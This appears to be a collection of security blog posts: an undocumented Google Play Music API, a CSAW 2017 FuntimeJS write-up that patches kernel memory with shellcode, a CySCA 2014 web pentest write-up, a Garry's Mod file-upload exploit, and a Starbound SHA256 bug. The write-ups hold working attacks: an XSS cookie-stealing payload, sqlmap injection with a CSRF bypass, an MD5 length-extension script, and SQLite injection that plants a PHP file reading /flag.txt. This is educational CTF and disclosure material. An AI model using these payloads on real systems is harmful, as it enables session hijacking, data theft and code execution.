Google Play Music's Undocumented API

I was looking into a way of controlling Google Play Music (running in a tab in my browser) from another process and stumbled across an undocumented API which allowed me to do pretty much exactly that - all you need to use it is the ability to fire events on the #player-api element on the page.

The API works by listening for playerApi events on #player-api, calling JSON.parse on the detail field of the event, then performing an action depending on the data provided. The format of the object passed via the detail field is an array of at least one element. The function d.g6 in the code below is responsible for handling events sent to the API.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
d.g6 = function(a) {
a = JSON.parse(a.Rc.detail);
a instanceof Array && (a = new $C(a),
this.Yxa(a))
}
;
d.Yxa = function(a) {
var b = a.getCommand()
, c = a.TC();
this.Xa.kc("Player API", b.toString(), c ? c.toString() : void 0);
switch (b) {
case 10:
this.ta.NKa();
break;
case 1:
this.uf.Ol();
break;
case 2:
this.Ea.Zv(c);
break;
case 3:
this.Ea.P$();
break;
case 6:
this.Ab.hga();
break;
...

The first element of the array is the command number. The other elements are optional and are used as arguments for certain commands. The uses of the indices are shown below:

1
2
3
4
5
Index 0: Command number
Index 1: Relative seek time in milliseconds (for command 8)
Index 2: Volume percentage (for command 16)
Index 3: Absolute time to seek to in milliseconds (for command 19)
Index 4: Unknown argument

The command number should be a number between 1 and 22 inclusive, corresponding to the following actions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Command 1:  Toggle play state
Command 2: Next song
Command 3: Previous song
Command 4: "Thumbs Up" current song
Command 5: "Thumbs Down" current song
Command 6: Toggle shuffle mode
Command 7: Toggle repeat mode
Command 8: Seek relative to current time (reads from index 1)
Command 9: Get current time and send a playerApiReturn event with the time to the #player-api element
Command 10: Unknown
Command 11: Start "I'm feeling lucky" radio
Command 12: Navigate to the currently playing artist's page
Command 13: Navigate to the currently playing album's page
Command 14: Increase volume by 10%
Command 15: Decrease volume by 10%
Command 16: Set the volume to the percentage given in index 2
Command 17: Pause
Command 18: Play
Command 19: Set time in current song to time given in index 3
Command 20: Seek backwards by 30 seconds
Command 21: Seek forwards by 30 seconds
Command 22: Seek backwards by 10 seconds

For example, to set the current volume to 50%, you could run the following code:

1
2
3
document.getElementById('player-api').dispatchEvent(new CustomEvent('playerApi', {
detail: '[16, 0, 50]'
}));

For command 9, which will return the current time, you first need to setup an event handler for playerApiReturn on the #player-api element, then issue the command. Such a handler might look something like this:

1
document.getElementById('player-api').addEventListener('playerApiReturn', e => console.log(e.detail.time))

You can see this process in action below, returning the current time of 0:39.6:

Since this API isn’t documented anywhere, it can and probably will change at some point.

CSAW CTF 2017 - FuntimeJS Writeup

For this challenge, we’re given a JavaScript console and tasked with reading the flag from physical address 0xdeadbeeeef.

Running something in the console gives an output starting with:

1
2
3
4
 --- starting qemu ---
Kernel build #2062 (v8 5.4.9)
runtime.js v0.2.14
loading...

It’s clear that we’re dealing with runtime.js (an OS which primarily runs JS) running in qemu, so now we need to figure out how to read from 0xdeadbeeeef. First, let’s print the globals with console.log(global); and find a few interesting functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Globals
{
...
__SYSCALL:
{ log: [Function: log],
write: [Function: write],
eval: [Function: eval],
version: [Function: version],
getCommandLine: [Function: getCommandLine],
initrdReadFile: [Function: initrdReadFile],
initrdReadFileBuffer: [Function: initrdReadFileBuffer],
initrdListFiles: [Function: initrdListFiles],
initrdGetKernelIndex: [Function: initrdGetKernelIndex],
startProfiling: [Function: startProfiling],
stopProfiling: [Function: stopProfiling],
debug: [Function: debug],
takeHeapSnapshot: [Function: takeHeapSnapshot],
memoryInfo: [Function: memoryInfo],
systemInfo: [Function: systemInfo],
reboot: [Function: reboot],
bufferAddress: [Function: bufferAddress],
memoryBarrier: [Function: memoryBarrier],
allocDMA: [Function: allocDMA],
getSystemResources: [Function: getSystemResources],
stopVideoLog: [Function: stopVideoLog],
setTime: [Function: setTime],
acpiGetPciDevices: [Function: acpiGetPciDevices],
acpiSystemReset: [Function: acpiSystemReset],
acpiEnterSleepState: [Function: acpiEnterSleepState] },
}

The documentation on runtime.js is a bit lacking, so it’s easier to just read the source code to see how these work. Everything relevant to the syscalls is in native-object.cc.

Although the challenge wants us to read something from memory, we can still poke around for interesting files using console.log(__SYSCALL.initrdListFiles());:

1
2
3
4
[ '/flag.txt',
'/index.js',
...
]

So… can’t we just read /flag.txt? A quick call to console.log(__SYSCALL.initrdReadFile('/flag.txt')); gives flag{I_f0rg0t_1n1trd_1nclud3d_a11_files}. This is the unintended solution for the challenge, so we still need to find a way to read 0xdeadbeeeef.

Looking through native-object.cc shows us that the __SYSCALL.getSystemResources function will give us a ResourceMemoryRangeObject for the first 4GB of memory. The ResourceMemoryRangeObject.block function will give us a ResourceMemoryBlockObject on which we can call buffer to get read and write access from JS to the memory. Although this means that we can’t read 0xdeadbeeeef directly (since it’s past 0xffffffff), we can hopefully use this to get arbitrary code execution to let us read what we want.

I figured that the easiest way to get code exec was to find one of the implementations of the __SYSCALL functions, patch in a jump to some of our own code, then execute the syscall from JS. The debug function seemed like a good candidate since it’s not really used for anything else and defined as:

1
2
3
4
5
6
 NATIVE_FUNCTION(NativesObject, Debug) {
PROLOGUE_NOTHIS;
USEARG(0);

printf(" --- DEBUG --- \n");
}

The usage of the string in printf means all we have to do is find where the --- DEBUG --- string is, find where it is referenced, and dump the surrounding memory to see what the code looks like. To do this, I used the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function findData(lookFor) {
var MEM_START_OFFSET = 1;
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(MEM_START_OFFSET, 0x7FFFFFFF).buffer());
var locs = [];
for (var i = 0; i < 0x2000000; i++) {
var found = true;
for (var j = 0; j < lookFor.length; j++) {
if (memBuffer[i+j] != lookFor[j]) {
found = false;
break;
}
}
if (found) {
return (i + MEM_START_OFFSET);
}
}
return null;
}

function decToHex(d) {
var hex = d.toString(16);
hex = "00".substr(0, 2 - hex.length) + hex;
return hex;
}

function dumpMem(start, size) {
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(start, size).buffer());
var outStr = "";
for (var i = 0; i < size; i++) {
outStr += decToHex(memBuffer[i]);
}
return outStr;
}

function pointerToBytes(pointer) {
var result = [];
for (var i = 0; i < 4; i++) {
result.push((pointer >> (i*8)) & 0xFF);
}
return result;
}

var dbgStrAddr = findData(" --- DEBUG --- ".split('').map((char) => char.charCodeAt(0)));
console.log("Found debug string at: ", dbgStrAddr.toString(16));

var dbgStrUsageAddr = findData(pointerToBytes(dbgStrAddr));
console.log("Found debug string usage at: ", dbgStrUsageAddr.toString(16));

console.log(dumpMem(dbgStrUsageAddr - 256, 512));

Running it gives:

1
2
3
Found debug string at:  af7367
Found debug string usage at: 211bb1
0bf6feffebb9b9867baf00bafd...

Loading the dump into IDA shows us that the code is:

1
2
3
4
5
6
48 83 C4 08      add rsp, 8
BF 67 73 AF 00 mov edi, 0AF7367h
31 C0 xor eax, eax
5B pop rbx
5D pop rbp
E9 32 F7 FE FF jmp near ptr 0FFFFFFFFFFFEF83Fh

We want to allocate some memory, write code into it, and replace the start of the debug function with a jmp to our code. Note that the start of the function is 5 bytes before the pointer to the debug string. The allocDMA syscall will allocate us some memory and give us the address. So, we’ll first allocate some memory and write the detour over the top of the start of the debug function:

1
2
48 c7 c3 78 56 34 12   mov    rbx,0x12345678
ff e3 jmp rbx

We just need to replace 0x12345678 with the actual address of our shellcode, which we can do with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function writeData(writeTo, data) {
var memBuffer = new Uint8Array(__SYSCALL.getSystemResources().memoryRange.block(writeTo, data.length).buffer());
for (var i = 0; i < data.length; i++) {
memBuffer[i] = data[i];
}
}

function writeMultipleData(writeTo, datas) {
var offset = 0;
for (var i = 0; i < datas.length; i++) {
writeData(writeTo + offset, datas[i]);
offset += datas[i].length;
}
}

var codeBuf = __SYSCALL.allocDMA();
console.log("Allocated buffer for shellcode at: ", codeBuf.address.toString(16));

var jmpData = [
[0x48, 0xc7, 0xc3], pointerToBytes(codeBuf.address),
[0xff, 0xe3]
];
writeMultipleData(dbgStrUsageAddr - 5, jmpData);

At this point, we can see that 0xdeadbeeeef will probably contain a string, so we could just set the argument to printf to just be 0xdeadbeeeef instead of the pointer to the debug string. This means our shellcode can be pretty simple - just execute the instructions we overwrote, overwrite rdi (which holds the argument to printf), and jump back to the debug function:

1
2
3
4
5
48 83 c4 08                     add    rsp,0x8
48 bf ef ee be ad de 00 00 00 movabs rdi,0xdeadbeeeef

48 c7 c3 78 56 34 12 mov rbx,0x12345678
ff e3 jmp rbx

We need to replace 0x12345678 with the address after our patch, which is 4 bytes after the pointer to the debug string. The JS code looks like:

1
2
3
4
5
6
7
8
var shellcode = [
[0x48, 0x83, 0xc4, 0x08],
[0x48, 0xbf, 0xef, 0xee, 0xbe, 0xad, 0xde, 0x00, 0x00, 0x00],
[0x48, 0xc7, 0xc3], pointerToBytes(dbgStrUsageAddr + 4),
[0xff, 0xe3]
];
writeMultipleData(codeBuf.address, shellcode);
console.log("Finished writing shellcode");

After all this, we can call __SYSCALL.debug(); and see what output we get!

1
2
3
4
5
6
 --- starting qemu ---
...
Found debug string at: af7367
Found debug string usage at: 211bb1
Allocated buffer for shellcode at: 1ce00000
Finished writing shellcode

But where’s the flag? Why didn’t debug print anything? Changing the shellcode to just copy the first 8 bytes at 0xdeadbeeeef to somewhere in the first 4GB and reading it from JS shows that apparently 0xdeadbeeeef is just 0s.

Thinking back to the challenge description, it’s very clear that 0xdeadbeeeef is a physical address, so maybe there’s some some virtual memory mapping going on which is remapping 0xdeadbeeeef to another physical address.

If you aren’t familar with virtual memory and page tables, here’s a quick primer. The actual RAM in a computer has a “physical” address for each byte, and there’s usually a whole bunch of processes sharing this memory. It would be a bit annoying and insecure if any process could just issue a mov to some address that was being used by another process, so we have the idea of “virtual” memory. Essentially, instead of a process directly accessing the physical address space, it accesses a virtual address space which ostensibly only it can access. As a result of this, it could be that every process thinks it has its main function at address 0x1000. But when the call 0x1000 instruction gets executed to start the program, how does the processor know where this actually lives in physical memory? It uses a mapping between virtual addresses and physical addresses that’s defined inside a page directory and series of page tables.

We probably need to create a mapping from 0xdeadbeeeef in virtual address space to 0xdeadbeeeef in the physical address space, but messing with page tables would require reading about their exact format, which doesn’t sound fun. Instead, we’ll just get the OS to do the work for us.

The mem-manager.cc file has the MemManager::PageFault function which presumably gets called whenever there’s a page fault (e.g. when you try to access some memory that doesn’t have a mapping in the page table), and it calls AddressSpaceX64::MapPage. From its code, it seems that if the fault address (i.e. the address you tried to access) is less than 4GB, it just makes a direct mapping between the physical and virtual, but after that, it will allocate some memory and do a different mapping.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
uintptr_t fa = reinterpret_cast<uintptr_t>(fault_address);
if (fa < 4 * Constants::GiB) {
// Lazy-identity mapping for 4 GB virtual address space
phys_mem = fault_address;
writethrough = true;
} else if (fa < 512 * 256 * Constants::GiB) {
// Automatic mapping normal space
phys_mem = pmm_.alloc();

// clean = true;
writethrough = false;
} else {
GLOBAL_boot_services()
->FatalError("Invalid Faulting address = %p,"
" error code = %d, alloc to %p, cpu %d\n",
fault_address, error_code, phys_mem, Cpu::id());
}
RT_ASSERT(phys_mem);
addr_space_.MapPage(fault_address, phys_mem, true, writethrough);

So why don’t we just make that direct mapping apply to addresses larger than 4GB then run our shellcode again? A page fault should get issued, then the virtual address 0xdeadbeeeef will get mapped to the physical address 0xdeadbeeeef and we should be able to see the flag get printed.

To do this, we first need to find this PageFault function in memory. Fortunately, it contains a nice unique string Invalid Faulting address = %p, which we can search for in the same way that we searched for --- DEBUG --- before. Here’s the code:

1
2
3
4
5
6
7
var invalidStrAddr = findData("Invalid Faulting address = %p".split('').map((char) => char.charCodeAt(0)));
console.log("Found page fault string at: ", invalidStrAddr.toString(16));

var invalidStrUsageAddr = findData(pointerToBytes(invalidStrAddr));
console.log("Found page fault string usage at: ", invalidStrUsageAddr.toString(16));

console.log(dumpMem(invalidStrUsageAddr - 512, 1024));

From the disassembly, we can see the function starts with:

1
2
3
4
5
6
7
8
9
10
11
55                              push    rbp
53 push rbx
B8 FF FF FF FF mov eax, 0FFFFFFFFh
48 89 FB mov rbx, rdi
48 89 F5 mov rbp, rsi
48 83 EC 18 sub rsp, 18h
48 39 C6 cmp rsi, rax
76 4A jbe short loc_151 # Jump if fault address < 4GB
48 B8 FF FF FF FF FF 7F 00 00 mov rax, 7FFFFFFFFFFFh
48 39 C6 cmp rsi, rax
0F 87 CD 00 00 00 ja loc_1E7

We can see that the cmp rsi, rax and jbe short loc_151 implement the if (fa < 4 * Constants::GiB) { check in the source code. But we want the one-to-one mapping to occur for all addresses, so we just need to change the jbe (jump if below or equal) to be a jmp (unconditional jump) instead: we need to replace 76 4A with EB 4A. The overwrite needs to happen 251 bytes before the usage of the invalid fault address string, so we can perform the patch with the following code:

1
writeData(invalidStrUsageAddr - 251, [0xEB]);

Now, putting everything together, we can execute __SYSCALL.debug(); again and get the output:

1
2
3
4
5
6
7
8
9
 --- starting qemu ---
...
Found debug string at: af7367
Found debug string usage at: 211bb1
Allocated buffer for shellcode at: 1ce00000
Found page fault string at: af6ee0
Found pgae fault string usage at: 20ae4f
Finished writing shellcode
flag{1_th0t_j@vascript_w@s_mem0ry_s@f3!}Finished calling debug

This reads the data at 0xdeadbeeeef successfully, and our flag is flag{1_th0t_j@vascript_w@s_mem0ry_s@f3!}.

You can get the full code for the solution here.

CySCA 2014 - Web Application Pentest writeup

I’ve written up my solutions to the web pentest part of CySCA 2014. You can read them below or at this GitHub Gist.

The CySCA organizers have released a VM image with most of the challenges from CySCA 2014, which you can grab from http://goo.gl/6ftZ39 to play with. Here are my solutions to the Web Application Pentest section.

Club Status

Only VIP and registered users are allowed to view the Blog.
Become VIP to gain access to the Blog to reveal the hidden flag.

This one is pretty simple. The “Blog” link is currently disabled, so we need to find a way to give ourselves VIP status in order to access it.

Using a handy Chrome extension called EditThisCookie, we can see the standard “PHPSESSID” cookie alongside a “vip” cookie - currently set to 0.

Setting this to 1 enables the link, which once followed, gives us the flag: ComplexKillingInverse411

Om Nom Nom

Gain access to the Blog as a registered user to reveal the hidden flag.

Now that we’ve got access to the blog, we have the ability to post comments. We can also see when users view blog posts:

It seems like Sycamore is viewing this blog post pretty regularly, so it’s probably an indication that we need to perform some kind of XSS on this particular post. We can manipulate the page by posting comments, so we’ll use that to see if there are any XSS vulnerabilities.

There is some sanitization occurring, as raw text input seems to be passed through something like the PHP function htmlentities. However, the link Markdown is not properly sanitized - the link title is displayed as-is.

Adding a comment like this:

1
Test link [<script>alert('test');</script>](http://asdf.com)

gives us confirmation that we can add JS to the page.

Now all we have to do is insert some JS to grab Sycamore’s cookies so we can hijack his session - we’re going to add a comment to the blog post with the cookie of the viewer using this code:

1
2
3
$(function(){
$.post("", { comment: document.cookie });
});

With extra whitespace removed, this is injected into the page by posting this comment:

1
[<script>$(function(){$.post("",{comment:document.cookie});})</script>](http://asdf.com)

After waiting a minute or so, we see that Sycamore has visited the page and the cookies are displayed:

PHPSESSID=cq3fg8647fo5c72ll63ljorgk1; vip=0

By using EditThisCookie, we can set our PHPSESSID cookie to be the same as Sycamore’s to become logged in as him, revealing the flag: OrganicShantyAbsent505

Nonce-sense

Retrieve the hidden flag from the database.

Since we’re dealing with a database, this challenge is probably going to involve some SQL injection. There are several obvious places where a potential SQLi vulnerability exists: the login page, the new comment form, and the new blog post form. None of these are vulnerable.

There is, however, a “Delete Comment” button next to the comments on the blog post which is powered by the following code:

1
2
3
4
5
6
7
8
9
window.csrf = '2803ab8a931b17b6';
function deletecomment(obj, id) {
$.post('/deletecomment.php', {csrf: window.csrf, comment_id: id}).done(function(data) {
if (data['result']) {
$(obj).parent().remove();
window.csrf = data['csrf'];
}
});
}

We can quickly check that the comment_id field is vulnerable to SQL injection by executing deletecomment(null, "'") and inspecting the response:

1
{"result":false,"error":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1","csrf":"e51f30cba74fb003"}

The easiest way to turn this vulnerability into something useful is by using sqlmap to automatically do all the boring work for us. Unfortunately, we can see that there is a CSRF token which changes on every page load, as well as every time a request to deletecomment.php is made. sqlmap can’t automatically take this into account, so we’ll use the --eval option and a small Python script to create valid requests.

But first, we need to create a request file so sqlmap knows how to make the POST request (see the sqlmap docs):

1
2
3
4
5
POST /deletecomment.php HTTP/1.1
Host: <insert host>
Cookie: PHPSESSID=<insert Sycamore session id>;vip=0

csrf=replace_me&comment_id=1

Since our script to grab the CSRF token is a bit lengthy, I saved the following code into a file called cysca_csrf.py in the same directory as sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
import urllib2
import re

def get_csrf():
# Load a page to generate a CSRF token
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=<insert Sycamore session id>'))
page = opener.open('http://<insert host>/blog.php?view=2').read()

# Extract the token
match = re.search(r"window\.csrf = '(.+)';", page)
return match.group(1)

and then called sqlmap with our request file and some eval code:

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()"

Pretty quickly, sqlmap tells us that comment_id is indeed vulnerable:

1
2
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Since that works, we can now grab all the tables from the database:

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()" --tables

and find that there are five relevant tables:

1
2
3
4
5
6
7
8
9
Database: cysca
[5 tables]
+---------------------------------------+
| user |
| blogs |
| comments |
| flag |
| rest_api_log |
+---------------------------------------+

The flag is probably in the flag table, but we’ll dump everything anyway.

1
sqlmap -r deletecomment.txt --eval="import cysca_csrf;csrf=cysca_csrf.get_csrf()" -D cysca --dump-all

Sure enough, looking in the flag.csv file generated by sqlmap, the flag is there: CeramicDrunkSound667

Hypertextension

Retrieve the hidden flag by gaining access to the caching control panel.

The hint given for this problem is actually pretty helpful:

While the cache page is the end result, it has nothing to do with the problem. Focus on the REST api.

We need to find a way to locate the caching control panel and gain access to it through the REST API. We’ll attempt to view the source code of all known PHP files to see if there are any references to the caching system.

The API specification says that it is possible to create “documents” using the API by making a specific POST request to /api/documents. The document can then be downloaded from the URI returned in the POST request. If we were to add index.php to the document system, we should be able to view its source code.

But first, we need an API key. Looking in the rest_api_log.csv file generated by sqlmap in Nonce-sense, we can see that the API server kindly stores the API key associated with every request in plain text:

1
2
3
4
5
id,method,params,api_key,created_on,request_uri
1,POST,contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_sig=235aca08775a2070642013200d70097a,b32GjABvSf1Eiqry,2014-02-21 09:27:20,\\/api\\/documents
2,GET,_url=%2Fdocuments&id=2,NULL,2014-02-21 11:47:01,\\/api\\/documents\\/id\\/2
3,POST,contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api.txt&api_sig=95a0e7dbe06fb7b77b6a1980e2d0ad7d,b32GjABvSf1Eiqry,2014-02-21 11:54:31,\\/api\\/documents
4,PUT,_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest-api-v2.txt&api_sig=6854c04381284dac9970625820a8d32b,b32GjABvSf1Eiqry,2014-02-21 12:07:43,\\/api\\/documents\\/id\\/3

We can now use b32GjABvSf1Eiqry as our API key when making requests. We also need to generate a “signature” for every request, which the specification describes:

1
2
3
4
5
The process of signing is as follows.
- Sort your argument list into alphabetical order based on the parameter name. e.g. foo=1, bar=2, baz=3 sorts to bar=2, baz=3, foo=1
- concatenate the shared secret and argument name-value pairs. e.g. SECRETbar2baz3foo1
- calculate the md5() hash of this string
- append this value to the argument list with the name api_sig, in hexidecimal string form. e.g. api_sig=1f3870be274f6c49b3e31a0c6728957f

Unfortunately, step 2 of this process is going to be an issue since we do not know the shared secret. However, since the signing method has the following characteristics:

  • The secret is prepended to a known string
  • We have a valid signature for a known input
  • The signature is generated using MD5

we can perform a length extension attack. The way the attack works is described very well at https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks.

By looking at the first request in the rest_api_log table, we can see that the first request is one that has a valid signature and gives us the data sent to the server. In this case, the signature is calculated as the MD5 of this string:

1
SECRETcontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf

where SECRET is the unknown shared secret. We want our request parameters to be contenttype=text/plain&filepath=index.php in order to read index.php, and we want this data to be appended to the end of the signature string so we can use the length extension attack to calculate a valid signature.

So, if we make a request with these parameters:

1
c=ontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf<padding>&contenttype=text/plain&filepath=index.php&api_sig=<new_sig>

then the signature will be calculated from:

1
SECRETcontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf<padding>contenttypetext/plainfilepathindex.php

which is exactly what we need to perform the attack. Now we need a tool which can perform this attack - preferably in Python since we will need to do some brute forcing to determing the length of the secret (which is needed for this attack). Googling length extension md5 python gives this great page which has an implementation.

Putting everything together, I made a Python script to do all the work. You give it the address of the web server and the list of files you want, and it will give you the download links.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Create spoof_md5.py from http://www.huyng.com/media/3006/spoof_md5.py.txt
from spoof_md5 import spoof_digest
import urllib
import urllib2
import json

host = "10.10.0.114"
files = ["index.php"]

def construct_request(host, filename, key_length):
request_params = {}
request_params["contenttype"] = "text/plain"
request_params["filepath"] = filename

# Construct the string we're appending to the original signature string
new_data = ""
for key in sorted(request_params):
new_data += key + request_params[key]

request_params["c"] = "ontenttypeapplication/pdffilepath./documents/Top_4_Mitigations.pdf"

# Original signature from the request in rest_api_log
original_sig = "235aca08775a2070642013200d70097a".decode("hex")
original_data = "c" + request_params["c"]

# Perform length extension attack
# new signature string = secret + original_data + padding + new_data
spoofed_sig, padding = spoof_digest(original_sig, len(original_data) + key_length, new_data)

# Add padding to original data
request_params["c"] += padding

# Add signature to request
request_params["api_sig"] = spoofed_sig.encode("hex")

# Create request
data = urllib.urlencode(request_params)
request = urllib2.Request("http://" + host + "/api/documents", data, {"X-Auth": "b32GjABvSf1Eiqry"})

return request

def find_key_length(host):
# Try up to 32 as key length
for i in range(32):
request = construct_request(host, "index.php", i)
try:
f = urllib2.urlopen(request)
result = f.read()
# If we reach this, the request worked and i is the key length
return i
except urllib2.HTTPError:
pass

def get_download_link(host, filename, key_length):
request = construct_request(host, filename, key_length)

f = urllib2.urlopen(request)
result = f.read()
data = json.loads(result)

return "http://" + host + data["uri"]

# Find key length
key_length = find_key_length(host)

# Get download urls for all files
for f in files:
print('{0}: {1}'.format(f, get_download_link(host, f, key_length)))

Run the script, and we obtain the source code for index.php! Immediately, we see references to the cache system:

1
2
3
4
5
6
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}

Let’s use the script to download cache.php and ../lib/caching.php. Looking at contents of cache.php, the flag is in plain sight:

1
2
3
4
5
6
7
<?php

/**
* NOTE: THIS IS UNDER DEVELOPMENT AND SHOULD NOT BE USED IN PRODUCTION
*/

$flag = 'OrganicPamperSenator877';

Injeption

Reveal the final flag, which is hidden in the /flag.txt file on the web server.

We can now access the cache control panel through cache.php?access=f4fa5dc42fd0b12a098fcc218059e061. We have full access to all the source code used on this page, so there is no guessing required to solve this challenge.

After looking through the code for cache.php and ../lib/caching.php, we can ascertain the following:

  • The caching system uses an SQLite database
  • CacheDb::setCache is vulnerable to SQL injection on $key, $title, $uri, and $data
  • We can execute stacked queries if we can use the SQL injection vulnerability

Here’s CacheDb::setCache for reference:

1
2
3
4
5
6
7
8
9
10
public function setCache($key, $title, $uri, $data) {
$query = "INSERT INTO cache VALUES ('$title', '$key', '$uri', '$data', datetime('now'))";

if (!($this->conn->exec($query))) {
$error = $this->conn->errorInfo();
throw new Exception($error[2]);
}

return $this->conn->lastInsertId();
}

SQLite has a very interesting and very dangerous command: ATTACH DATABASE. For the purposes of this challenge, it allows new databases to be created via an SQL query, and have them persisted to disk as any filename.

SQLite databases are stored as a single file, and importantly, any string we insert into a table will be present in the file in plain text (no compression or special encoding). So, all we need to do is create a database called test.php in the same directory as cache.php which contains the string:

1
<?php echo file_get_contents('/flag.txt'); ?>

This will create a file which looks like:

1
[random junk characters]<?php echo file_get_contents('/flag.txt'); ?>[random junk characters]

If you give this to the PHP interpreter, it will output the [random junk characters], then execute the code in the PHP tags, then output the remaining [random junk characters].

As such, making a request to http://host/test.php will invoke the PHP interpreter on the file, and give us the flag.

To create this file, we need to somehow inject the following SQL through CacheDb::setCache:

1
2
3
ATTACH DATABASE 'test.php' AS a;
CREATE TABLE a.tbl (test);
INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>');

Let’s look at the values passed to CacheDb::setCache a bit more closely.

For $key:

  • The value is an MD5 hash, meaning it is not suitable for injection

For $title:

  • The value is passed in directly from $_POST['title']
  • A check is made to ensure that the title is not greater than 40 characters, meaning that, although still vulnerable, this parameter is not suitable for the injection we want to perform

For $uri:

  • The value checked extensively to ensure that it points to a resource on the current web server
  • urlencode is called on $uri before it is inserted into the database, meaning it is not suitable for injection

This leaves only the $data parameter, whose value is set via

1
$data = file_get_contents($uri)

after the script ensures that $uri is a file on the current web server. file_get_contents will essentially download the page at $uri and return the contents as a string. If we can manipulate a page on the web server to include this string:

1
test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); --

and force the cache script to download the page, then our SQL injection will succeed and we’ll be able to get the flag.

A page we can manipulate is cache.php by adding in a cache entry with a specially crafted URI. Although the URI is stored in urlencoded form, it is displayed in its original form. By adding a cache entry with:

1
2
Title: Testing
URI: http://host/index.php?somevar=test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); --

the rendered source of cache.php becomes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head><title>Caching Panel (under development)</title></head>
<body>
<ul>
</ul>
<form action="cache.php?access=f4fa5dc42fd0b12a098fcc218059e061" method="post">
Enter Title: <input type="text" name="title" value="" /><br />
Enter Uri: <input type="text" name="uri" value="" /><br />
<input type="submit" />
</form>
<table>
<thead><tr><td>Title</td><td>URI</td><td>Created On</td><td>Action</td></tr></thead>
<tbody>
<tr>
<td>Testing</td>
<td>http://host/index.php?somevar=test', datetime('now')); ATTACH DATABASE 'test.php' AS a; CREATE TABLE a.tbl (test); INSERT INTO a.tbl (test) VALUES ('<?php echo file_get_contents("/flag.txt"); ?>'); -- </td>
<td>2014-06-07 03:49:57</td>
<td><a href="cache.php?access=f4fa5dc42fd0b12a098fcc218059e061&delete=1">delete</a></td>
</tr>
</tbody>
</table>
</body>
</html>

Importantly, the first ' on the page is the one we inserted, so all we need to do now is have the script load this into $data which will inject our SQL into the query.

Submitting an entry with these details:

1
2
Title: Testing Again
URI: http://host/cache.php?access=f4fa5dc42fd0b12a098fcc218059e061

performs the exploit, and we can now visit http://host/test.php to retrieve the flag TryingCrampFibrous963.

Injeption Alternative

To be honest, solving Injeption by creating a PHP file doesn’t seem like the way that the organizers wanted it to be solved - there is a much more elegant solution.

We first need to guess that the API server is running off a PHP script called api.php. Once downloaded through the script created for Hypertextension, we can view the source to api.php and see that it also uses an SQLite database located at ../db/api.db.

To read /flag.txt, we can insert a row into the documents table with file_path = '/flag.txt' and content_type = 'text/plain', then request the list of documents using http://host/api/documents to find the ID for the inserted row, allowing us to download the file through http://host/api/documents/id/<id>.

By injecting the following SQL in the same way as before:

1
2
ATTACH DATABASE '../db/api.db' AS api;
INSERT INTO api.documents VALUES ('/flag.txt', 'text/plain', datetime('now'));

and then visiting the document list, we find that our entry has been created:

1
2
3
4
5
6
{
"file_path": "/flag.txt",
"content_type": "text/plain",
"created_on": "2014-06-07 04:46:45",
"uri": "/api/documents/id/30"
}

By visiting http://host/api/documents/id/30, we get the flag.

engine_win32.dll

There’s been a fair bit of drama today over an exploit in Garry’s Mod which allowed a DLL to be uploaded and run on servers, which would in turn run it on all clients connected to the server.

Basically the exploit boils down to a flaw in some internal Source engine networking code not properly sanitizing file names.

1
2
3
4
5
6
7
8
9
10
CreateInterfaceFn engineFactory = Sys_GetFactory("engine.dll");
IVEngineClient* client = static_cast<IVEngineClient*>(engineFactory(VENGINE_CLIENT_INTERFACE_VERSION, NULL));

INetChannel* info = static_cast<INetChannel*>(client->GetNetChannelInfo());

// Send any file
info->SendFile("engine_win32.dll\n.txt");

// Receive any file
info->RequestFile("cfg/server.cfg\n.txt");

It’s fixed now though, so no need to worry!

Starbound SHA256 Bug

UPDATE: This has been fixed now.

There’s a bug with the SHA256 code in Starbound which produces bad hashes in certain circumstances.

The bug comes from the first if statment in sha256_final (or whatever they’ve called it in their code).

Theirs looks like OpenSSL’s, except the if statement on line 375 of md32_common.h in OpenSSL (https://github.com/openssl/openssl/blob/master/crypto/md32_common.h#L375) evaluates to if (n > 56), whereas theirs evaluates to the equivalent of if (n > 55), producing erroneous hashes for data of length 55.

1
2
3
4
5
6
7
8
9
10
11
12
13
